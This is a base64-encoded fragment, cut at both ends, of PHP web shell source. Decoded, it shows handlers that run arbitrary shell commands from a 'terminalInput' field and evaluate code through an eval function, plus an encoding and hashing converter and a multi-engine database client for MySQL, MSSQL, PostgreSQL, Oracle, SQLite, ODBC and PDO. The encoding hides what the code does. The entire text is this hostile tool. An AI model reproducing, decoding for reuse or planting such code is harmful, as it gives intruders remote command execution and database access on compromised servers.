W50ZXI+MCkgb3V0cHV0KCRjb3VudGVyKTsKCW91dHB1dCgnZXJyb3InKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3ZpZXdGaWxlb3JGb2xkZXInXSkpewoJJGVudHJ5ID0gJHBbJ3ZpZXdGaWxlb3JGb2xkZXInXTsKCWlmKGlzX2ZpbGUoJGVudHJ5KSkgb3V0cHV0KCdmaWxlJyk7CgllbHNlaWYoaXNfZGlyKCRlbnRyeSkpIG91dHB1dCgnZm9sZGVyJyk7CglvdXRwdXQoJ2Vycm9yJyk7Cn0KZWxzZWlmKGlzc2V0KCRwWyd0ZXJtaW5hbElucHV0J10pKXsKCW91dHB1dChodG1sX3NhZmUoZXhlY3V0ZSgkcFsndGVybWluYWxJbnB1dCddKSkpOwp9CmVsc2VpZihpc3NldCgkcFsnZXZhbElucHV0J10pICYmIGlzc2V0KCRwWydldmFsVHlwZSddKSl7CgkkZXZhbElucHV0ID0gJHBbJ2V2YWxJbnB1dCddOwoJJGV2YWxPcHRpb25zID0gKGlzc2V0KCRwWydldmFsT3B0aW9ucyddKSk/ICRwWydldmFsT3B0aW9ucyddOiIiOwoJJGV2YWxBcmd1bWVudHMgPSAoaXNzZXQoJHBbJ2V2YWxBcmd1bWVudHMnXSkpPyAkcFsnZXZhbEFyZ3VtZW50cyddOiIiOwoJJGV2YWxUeXBlID0gJHBbJ2V2YWxUeXBlJ107CgllcnJvcl9yZXBvcnRpbmcoRV9FUlJPUiB8IEVfV0FSTklORyB8IEVfUEFSU0UgfCBFX05PVElDRSk7CglAaW5pX3NldCgnaHRtbF9lcnJvcnMnLCcwJyk7CglAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCcxJyk7CglAaW5pX3NldCgnZGlzcGxheV9zdGFydHVwX2Vycm9ycycsJzEnKTsKCSRyZXMgPSBldmFsX2dvKCRldmFsVHlwZSwgJGV2YWxJbnB1dCwgJGV2YWxPcHRpb25zLCAkZXZhbEFyZ3VtZW50cyk7CglpZigkcmVzPT09ZmFsc2UpICRyZXMgPT0gImVycm9yIjsKCW91dHB1dChodG1sX3NhZmUoJHJlcykpOwp9CmVsc2VpZihpc3NldCgkcFsnZXZhbEdldFN1cHBvcnRlZCddKSl7CgkkcmVzID0gZXZhbF9nZXRfc3VwcG9ydGVkKCk7CglvdXRwdXQoJHJlcyk7Cn0KJEdMT0JBTFNbJ21vZHVsZSddWydjb252ZXJ0J11bJ2lkJ10gPSAiY29udmVydCI7CiRHTE9CQUxTWydtb2R1bGUnXVsnY29udmVydCddWyd0aXRsZSddID0gIkNvbnZlcnQiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2NvbnZlcnQnXVsnanNfb250YWJzZWxlY3RlZCddID0gIgppZigoIXBvcnRhYmxlTW9kZSkgJiYgKCQoJyNkZWNvZGVSZXN1bHQnKS5jaGlsZHJlbigpLmxlbmd0aD09MSkpICQoJyNkZWNvZGVTdHInKS5mb2N1cygpOyI7CiRHTE9CQUxTWydtb2R1bGUnXVsnY29udmVydCddWydjb250ZW50J10gPSAiCjx0YWJsZSBjbGFzcz0nYm94dGJsJz4KPHRoZWFkPgoJPHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPkNvbnZlcnQ8L3A+PC90aD48L3RyPgo8L3RoZWFkPgo8dGJvZHk+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBzdHlsZT0naGVpZ2h0OjE0MHB4O21pbi1oZWlnaHQ6MTQwcHg7JyBpZD0nZGVjb2RlU3RyJz48L3RleHRhcmVhPjwvdGQ+PC90cj4KCTx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0nZGVjb2RlX2dvKCk7Jz5jb252ZXJ0PC9zcGFuPjwvdGQ+PC90cj4KPC90Ym9keT4KPHRmb290IGlkPSdkZWNvZGVSZXN1bHQnPjx0cj48dGQgY29sc3Bhbj0nMic+WW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0PC90ZD48L3RyPjwvdGZvb3Q+CjwvdGFibGU+IjsKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZGVjb2RlJykpewoJZnVuY3Rpb24gZGVjb2RlKCRzdHIpewoJCSRyZXMgPSAiIjsKCQkkbGVuZ3RoID0gKGludCkgc3RybGVuKCRzdHIpOwoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoIm1kNSIsIG1kNSgkc3RyKSwgImlucHV0Iik7CgkJJHJlcyAuPSBkZWNvZGVfbGluZSgic2hhMSIsIHNoYTEoJHN0ciksICJpbnB1dCIpOwoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoImJhc2U2NCBlbmNvZGUiLCBiYXNlNjRfZW5jb2RlKCRzdHIpLCAidGV4dGFyZWEiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJiYXNlNjQgZGVjb2RlIiwgYmFzZTY0X2RlY29kZSgkc3RyKSwgInRleHRhcmVhIik7CgkJJHJlcyAuPSBkZWNvZGVfbGluZSgiaGV4IHRvIHN0cmluZyIsIEBwYWNrKCJIKiIgLCAkc3RyKSwgInRleHRhcmVhIik7CgkJJHJlcyAuPSBkZWNvZGVfbGluZSgic3RyaW5nIHRvIGhleCIsIGJpbjJoZXgoJHN0ciksICJ0ZXh0YXJlYSIpOwoJCSRhc2NpaSA9ICIiOwoJCWZvcigkaT0wOyAkaTwkbGVuZ3RoOyAkaSsrKXsKCQkJJGFzY2lpIC49IG9yZChzdWJzdHIoJHN0ciwkaSwxKSkuIiAiOwoJCX0KCQkkcmVzIC49IGRlY29kZV9saW5lKCJhc2NpaSBjaGFyIiwgdHJpbSgkYXNjaWkpLCAidGV4dGFyZWEiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJyZXZlcnNlZCIsIHN0cnJldigkc3RyKSwgInRleHRhcmVhIik7CgkJJHJlcyAuPSBkZWNvZGVfbGluZSgibG93ZXJjYXNlIiwgc3RydG9sb3dlcigkc3RyKSwgInRleHRhcmVhIik7CgkJJHJlcyAuPSBkZWNvZGVfbGluZSgidXBwZXJjYXNlIiwgc3RydG91cHBlcigkc3RyKSwgInRleHRhcmVhIik7CgkJJHJlcyAuPSBkZWNvZGVfbGluZSgidXJsZW5jb2RlIiwgdXJsZW5jb2RlKCRzdHIpLCAidGV4dGFyZWEiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJ1cmxkZWNvZGUiLCB1cmxkZWNvZGUoJHN0ciksICJ0ZXh0YXJlYSIpOwoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoInJhd3VybGVuY29kZSIsIHJhd3VybGVuY29kZSgkc3RyKSwgInRleHRhcmVhIik7CgkJJHJlcyAuPSBkZWNvZGVfbGluZSgicmF3dXJsZGVjb2RlIiwgcmF3dXJsZGVjb2RlKCRzdHIpLCAidGV4dGFyZWEiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJodG1sZW50aXRpZXMiLCBodG1sX3NhZmUoJHN0ciksICJ0ZXh0YXJlYSIpOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnaGFzaF9hbGdvcycpKXsKCQkJJGFsZ29zID0gaGFzaF9hbGdvcygpOwoJCQlmb3JlYWNoKCRhbGdvcyBhcyAkYWxnbyl7CgkJCQlpZigoJGFsZ289PSdtZDUnKXx8KCRhbGdvPT0nc2hhMScpKSBjb250aW51ZTsKCQkJCSRyZXMgLj0gZGVjb2RlX2xpbmUoJGFsZ28sIGhhc2goJGFsZ28sICRzdHIpLCAiaW5wdXQiKTsKCQkJfQoJCX0KCQlyZXR1cm4gJHJlczsKCX0KfQppZighZnVuY3Rpb25fZXhpc3RzKCdkZWNvZGVfbGluZScpKXsKCWZ1bmN0aW9uIGRlY29kZV9saW5lKCR0eXBlLCAkcmVzdWx0LCAkaW5wdXR0eXBlKXsKCQkkcmVzID0gIjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+Ii4kdHlwZS4iPC90ZD48dGQ+IjsKCQlpZigkaW5wdXR0eXBlPT0naW5wdXQnKXsKCQkJJHJlcyAuPSAiPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciLmh0bWxfc2FmZSgkcmVzdWx0KS4iJyBvbmRibGNsaWNrPSd0aGlzLnNlbGVjdCgpOyc+IjsKCQl9CgkJZWxzZXsKCQkJJHJlcyAuPSAiPHRleHRhcmVhIHN0eWxlPSdoZWlnaHQ6ODBweDttaW4taGVpZ2h0OjgwcHg7JyBvbmRibGNsaWNrPSd0aGlzLnNlbGVjdCgpOyc+Ii5odG1sX3NhZmUoJHJlc3VsdCkuIjwvdGV4dGFyZWE+IjsKCQl9CgkJcmV0dXJuICRyZXM7Cgl9Cn0KaWYoaXNzZXQoJHBbJ2RlY29kZVN0ciddKSl7CgkkZGVjb2RlU3RyID0gJHBbJ2RlY29kZVN0ciddOwoJb3V0cHV0KGRlY29kZSgkZGVjb2RlU3RyKSk7Cn0KJEdMT0JBTFNbJ21vZHVsZSddWydkYXRhYmFzZSddWydpZCddID0gImRhdGFiYXNlIjsKJEdMT0JBTFNbJ21vZHVsZSddWydkYXRhYmFzZSddWyd0aXRsZSddID0gIkRhdGFiYXNlIjsKJEdMT0JBTFNbJ21vZHVsZSddWydkYXRhYmFzZSddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiIjsKJEdMT0JBTFNbJ21vZHVsZSddWydkYXRhYmFzZSddWydjb250ZW50J10gPSAiCjx0YWJsZSBjbGFzcz0nYm94dGJsJz4KPHRoZWFkPgoJPHRyPjx0aCBjb2xzcGFuPSczJz48cCBjbGFzcz0nYm94dGl0bGUnPkNvbm5lY3Q8L3A+PC90aD48L3RyPgo8L3RoZWFkPgo8dGJvZHk+Cgk8dHIgY2xhc3M9J2RiSG9zdFJvdyc+PHRkIHN0eWxlPSd3aWR0aDoxNDRweCcgY2xhc3M9J2RiSG9zdExibCc+SG9zdDwvdGQ+PHRkIGNvbHNwYW49JzInPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZGJIb3N0JyB2YWx1ZT0nJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZGJfY29ubmVjdCcpO1wiPjwvdGQ+PC90cj4KCTx0ciBjbGFzcz0nZGJVc2VyUm93Jz48dGQ+VXNlcm5hbWU8L3RkPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2RiVXNlcicgdmFsdWU9Jycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2RiX2Nvbm5lY3QnKTtcIj48L3RkPjwvdHI+Cgk8dHIgY2xhc3M9J2RiUGFzc1Jvdyc+PHRkPlBhc3N3b3JkPC90ZD48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkYlBhc3MnIHZhbHVlPScnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdkYl9jb25uZWN0Jyk7XCI+PC90ZD48L3RyPgoJPHRyIGNsYXNzPSdkYlBvcnRSb3cnPjx0ZD5Qb3J0IChPcHRpb25hbCk8L3RkPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2RiUG9ydCcgdmFsdWU9Jycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2RiX2Nvbm5lY3QnKTtcIj48L3RkPjwvdHI+CjwvdGJvZHk+Cjx0Zm9vdD4KCTx0ciBjbGFzcz0nZGJDb25uZWN0Um93Jz4KCQk8dGQgc3R5bGU9J3dpZHRoOjE0NHB4Oyc+CgkJCTxzZWxlY3QgaWQ9J2RiVHlwZSc+CgkJCTwvc2VsZWN0PgoJCTwvdGQ+CgkJPHRkIHN0eWxlPSd3aWR0aDoxMjBweDsnPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJkYl9jb25uZWN0KCk7XCI+Y29ubmVjdDwvc3Bhbj48L3RkPgoJCTx0ZCBjbGFzcz0nZGJFcnJvcic+PC90ZD4KCTwvdHI+Cgk8dHIgY2xhc3M9J2RiUXVlcnlSb3cnIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KCQk8dGQgY29sc3Bhbj0nMyc+PHRleHRhcmVhIGlkPSdkYlF1ZXJ5JyBzdHlsZT0nbWluLWhlaWdodDoxNDBweDtoZWlnaHQ6MTQwcHg7Jz5Zb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQ8L3RleHRhcmVhPjwvdGQ+Cgk8L3RyPgoJPHRyIGNsYXNzPSdkYlF1ZXJ5Um93JyBzdHlsZT0nZGlzcGxheTpub25lOyc+CgkJPHRkIHN0eWxlPSd3aWR0aDoxMjBweDsnPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJkYl9ydW4oKTtcIj5ydW48L3NwYW4+PC90ZD4KCQk8dGQgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImRiX2Rpc2Nvbm5lY3QoKTtcIj5kaXNjb25uZWN0PC9zcGFuPjwvdGQ+CgkJPHRkPlNlcGFyYXRlIG11bHRpcGxlIGNvbW1hbmRzIHdpdGggYSBzZW1pY29sb24gPHNwYW4gY2xhc3M9J3N0cm9uZyc+KDwvc3Bhbj4gOyA8c3BhbiBjbGFzcz0nc3Ryb25nJz4pPC9zcGFuPjwvdGQ+Cgk8L3RyPgo8L3Rmb290Pgo8L3RhYmxlPgo8ZGl2IGlkPSdkYkJvdHRvbScgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgo8YnI+Cjx0YWJsZSBjbGFzcz0nYm9yZGVyJyBzdHlsZT0ncGFkZGluZzowOyc+PHRyPjx0ZCBpZD0nZGJOYXYnIGNsYXNzPSdjb2xGaXQgYm9yZGVycmlnaHQnIHN0eWxlPSd2ZXJ0aWNhbC1hbGlnbjp0b3A7Jz48L3RkPjx0ZCBpZD0nZGJSZXN1bHQnIHN0eWxlPSd2ZXJ0aWNhbC1hbGlnbjp0b3A7Jz48L3RkPjwvdHI+PC90YWJsZT4KPC9kaXY+CiI7CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3NxbF9jb25uZWN0JykpewoJZnVuY3Rpb24gc3FsX2Nvbm5lY3QoJHNxbHR5cGUsICRzcWxob3N0LCAkc3FsdXNlciwgJHNxbHBhc3MpewoJCWlmKCRzcWx0eXBlID09ICdteXNxbCcpewoJCQlpZihjbGFzc19leGlzdHMoJ215c3FsaScpKSByZXR1cm4gbmV3IG15c3FsaSgkc3FsaG9zdCwgJHNxbHVzZXIsICRzcWxwYXNzKTsKCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSByZXR1cm4gQG15c3FsX2Nvbm5lY3QoJHNxbGhvc3QsICRzcWx1c2VyLCAkc3FscGFzcyk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfY29ubmVjdCcpKXsKCQkJCSRjb25pbmZvID0gYXJyYXkoIlVJRCI9PiRzcWx1c2VyLCAiUFdEIj0+JHNxbHBhc3MpOwoJCQkJcmV0dXJuIEBzcWxzcnZfY29ubmVjdCgkc3FsaG9zdCwkY29uaW5mbyk7CgkJCX0KCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gQG1zc3FsX2Nvbm5lY3QoJHNxbGhvc3QsICRzcWx1c2VyLCAkc3FscGFzcyk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAncGdzcWwnKXsKCQkJJGhvc3RzID0gZXhwbG9kZSgiOiIsICRzcWxob3N0KTsKCQkJaWYoY291bnQoJGhvc3RzKT09Mil7CgkJCQkkaG9zdF9zdHIgPSAiaG9zdD0iLiRob3N0c1swXS4iIHBvcnQ9Ii4kaG9zdHNbMV07CgkJCX0KCQkJZWxzZSAkaG9zdF9zdHIgPSAiaG9zdD0iLiRzcWxob3N0OwoJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgcmV0dXJuIEBwZ19jb25uZWN0KCIkaG9zdF9zdHIgdXNlcj0kc3FsdXNlciBwYXNzd29yZD0kc3FscGFzcyIpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ29yYWNsZScpeyBpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpIHJldHVybiBAb2NpX2Nvbm5lY3QoJHNxbHVzZXIsICRzcWxwYXNzLCAkc3FsaG9zdCk7IH0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZTMnKXsKCQkJaWYoY2xhc3NfZXhpc3RzKCdTUUxpdGUzJykpIGlmKCFlbXB0eSgkc3FsaG9zdCkpIHJldHVybiBuZXcgU1FMaXRlMygkc3FsaG9zdCk7CgkJCWVsc2UgcmV0dXJuIGZhbHNlOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZScpeyBpZihmdW5jdGlvbl9leGlzdHMoJ3NxbGl0ZV9vcGVuJykpIHJldHVybiBAc3FsaXRlX29wZW4oJHNxbGhvc3QpOyB9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdvZGJjJyl7IGlmKGZ1bmN0aW9uX2V4aXN0cygnb2RiY19jb25uZWN0JykpIHJldHVybiBAb2RiY19jb25uZWN0KCRzcWxob3N0LCAkc3FsdXNlciwgJHNxbHBhc3MpOyB9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZG8nKXsKCQkJaWYoY2xhc3NfZXhpc3RzKCdQRE8nKSkgaWYoIWVtcHR5KCRzcWxob3N0KSkgcmV0dXJuIG5ldyBQRE8oJHNxbGhvc3QsICRzcWx1c2VyLCAkc3FscGFzcyk7CgkJCWVsc2UgcmV0dXJuIGZhbHNlOwoJCX0KCQlyZXR1cm4gZmFsc2U7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX3F1ZXJ5JykpewoJZnVuY3Rpb24gc3FsX3F1ZXJ5KCRzcWx0eXBlLCAkcXVlcnksICRjb24pewoJCWlmKCRzcWx0eXBlID09ICdteXNxbCcpewoJCQlpZihjbGFzc19leGlzdHMoJ215c3FsaScpKSByZXR1cm4gJGNvbi0+cXVlcnkoJHF1ZXJ5KTsKCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfcXVlcnknKSkgcmV0dXJuIG15c3FsX3F1ZXJ5KCRxdWVyeSk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfcXVlcnknKSkgcmV0dXJuIHNxbHNydl9xdWVyeSgkY29uLCRxdWVyeSk7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX3F1ZXJ5JykpIHJldHVybiBtc3NxbF9xdWVyeSgkcXVlcnkpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX3F1ZXJ5KCRxdWVyeSk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdvcmFjbGUnKSByZXR1cm4gb2NpX2V4ZWN1dGUob2NpX3BhcnNlKCRjb24sICRxdWVyeSkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpIHJldHVybiAkY29uLT5xdWVyeSgkcXVlcnkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9xdWVyeSgkY29uLCAkcXVlcnkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX2V4ZWMoJGNvbiwgJHF1ZXJ5KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpIHJldHVybiAkY29uLT5xdWVyeSgkcXVlcnkpOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3NxbF9udW1fcm93cycpKXsKCWZ1bmN0aW9uIHNxbF9udW1fcm93cygkc3FsdHlwZSwkcmVzdWx0KXsKCQlpZigkc3FsdHlwZSA9PSAnbXlzcWwnKXsKCQkJaWYoY2xhc3NfZXhpc3RzKCdteXNxbGlfcmVzdWx0JykpIHJldHVybiAkcmVzdWx0LT5teXNxbGlfbnVtX3Jvd3M7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX251bV9yb3dzJykpIHJldHVybiBteXNxbF9udW1fcm93cygkcmVzdWx0KTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdtc3NxbCcpewoJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3NxbHNydl9udW1fcm93cycpKSByZXR1cm4gc3Fsc3J2X251bV9yb3dzKCRyZXN1bHQpOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9udW1fcm93cycpKSByZXR1cm4gbXNzcWxfbnVtX3Jvd3MoJHJlc3VsdCk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAncGdzcWwnKSByZXR1cm4gcGdfbnVtX3Jvd3MoJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdvcmFjbGUnKSByZXR1cm4gb2NpX251bV9yb3dzKCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpewoJCQkkbWV0YWRhdGEgPSAkcmVzdWx0LT5mZXRjaEFycmF5KCk7CgkJCWlmKGlzX2FycmF5KCRtZXRhZGF0YSkpIHJldHVybiAkbWV0YWRhdGFbJ2NvdW50J107CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9udW1fcm93cygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ29kYmMnKSByZXR1cm4gb2RiY19udW1fcm93cygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpIHJldHVybiAkcmVzdWx0LT5yb3dDb3VudCgpOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3NxbF9udW1fZmllbGRzJykpewoJZnVuY3Rpb24gc3FsX251bV9maWVsZHMoJHNxbHR5cGUsICRyZXN1bHQpewoJCWlmKCRzcWx0eXBlID09ICdteXNxbCcpewoJCQlpZihjbGFzc19leGlzdHMoJ215c3FsaV9yZXN1bHQnKSkgcmV0dXJuICRyZXN1bHQtPmZpZWxkX2NvdW50OwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9udW1fZmllbGRzJykpIHJldHVybiBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ21zc3FsJyl7CgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3Fsc3J2X251bV9maWVsZHMnKSkgcmV0dXJuIHNxbHNydl9udW1fZmllbGRzKCRyZXN1bHQpOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9udW1fZmllbGRzJykpIHJldHVybiBtc3NxbF9udW1fZmllbGRzKCRyZXN1bHQpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX251bV9maWVsZHMoJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdvcmFjbGUnKSByZXR1cm4gb2NpX251bV9maWVsZHMoJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdzcWxpdGUzJykgcmV0dXJuICRyZXN1bHQtPm51bUNvbHVtbnMoKTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfbnVtX2ZpZWxkcygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ29kYmMnKSByZXR1cm4gb2RiY19udW1fZmllbGRzKCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAncGRvJykgcmV0dXJuICRyZXN1bHQtPmNvbHVtbkNvdW50KCk7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX2ZpZWxkX25hbWUnKSl7CglmdW5jdGlvbiBzcWxfZmllbGRfbmFtZSgkc3FsdHlwZSwkcmVzdWx0LCRpKXsKCQlpZigkc3FsdHlwZSA9PSAnbXlzcWwnKXsKCQkJaWYoY2xhc3NfZXhpc3RzKCdteXNxbGlfcmVzdWx0JykpIHsgJHo9JHJlc3VsdC0+ZmV0Y2hfZmllbGQoKTtyZXR1cm4gJHotPm5hbWU7fQoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9maWVsZF9uYW1lJykpIHJldHVybiBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ21zc3FsJyl7CgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3Fsc3J2X2ZpZWxkX21ldGFkYXRhJykpewoJCQkJJG1ldGFkYXRhID0gc3Fsc3J2X2ZpZWxkX21ldGFkYXRhKCRyZXN1bHQpOwoJCQkJaWYoaXNfYXJyYXkoJG1ldGFkYXRhKSl7CgkJCQkJJG1ldGFkYXRhPSRtZXRhZGF0YVskaV07CgkJCQl9CgkJCQlpZihpc19hcnJheSgkbWV0YWRhdGEpKSByZXR1cm4gJG1ldGFkYXRhWydOYW1lJ107CgkJCX0KCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfZmllbGRfbmFtZScpKSByZXR1cm4gbXNzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZ3NxbCcpIHJldHVybiBwZ19maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9maWVsZF9uYW1lKCRyZXN1bHQsJGkrMSk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdzcWxpdGUzJykgcmV0dXJuICRyZXN1bHQtPmNvbHVtbk5hbWUoJGkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSsxKTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpewoJCQkkcmVzID0gJHJlc3VsdC0+Z2V0Q29sdW1uTWV0YSgkaSk7CgkJCXJldHVybiAkcmVzWyduYW1lJ107CgkJfQoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3NxbF9mZXRjaF9kYXRhJykpewoJZnVuY3Rpb24gc3FsX2ZldGNoX2RhdGEoJHNxbHR5cGUsJHJlc3VsdCl7CgkJaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7CgkJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpX3Jlc3VsdCcpKSByZXR1cm4gJHJlc3VsdC0+ZmV0Y2hfcm93KCk7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2ZldGNoX3JvdycpKSByZXR1cm4gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ21zc3FsJyl7CgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3Fsc3J2X2ZldGNoX2FycmF5JykpIHJldHVybiBzcWxzcnZfZmV0Y2hfYXJyYXkoJHJlc3VsdCwxKTsKCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfZmV0Y2hfcm93JykpIHJldHVybiBtc3NxbF9mZXRjaF9yb3coJHJlc3VsdCk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAncGdzcWwnKSByZXR1cm4gcGdfZmV0Y2hfcm93KCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9mZXRjaF9yb3coJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdzcWxpdGUzJykgcmV0dXJuICRyZXN1bHQtPmZldGNoQXJyYXkoMSk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdzcWxpdGUnKSByZXR1cm4gc3FsaXRlX2ZldGNoX2FycmF5KCRyZXN1bHQsMSk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdvZGJjJykgcmV0dXJuIG9kYmNfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZG8nKSByZXR1cm4gJHJlc3VsdC0+ZmV0Y2goMik7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX2Nsb3NlJykpewoJZnVuY3Rpb24gc3FsX2Nsb3NlKCRzcWx0eXBlLCRjb24pewoJCWlmKCRzcWx0eXBlID09ICdteXNxbCcpewoJCQlpZihjbGFzc19leGlzdHMoJ215c3FsaScpKSByZXR1cm4gJGNvbi0+Y2xvc2UoKTsKCQkJZWxzZWlmKGZ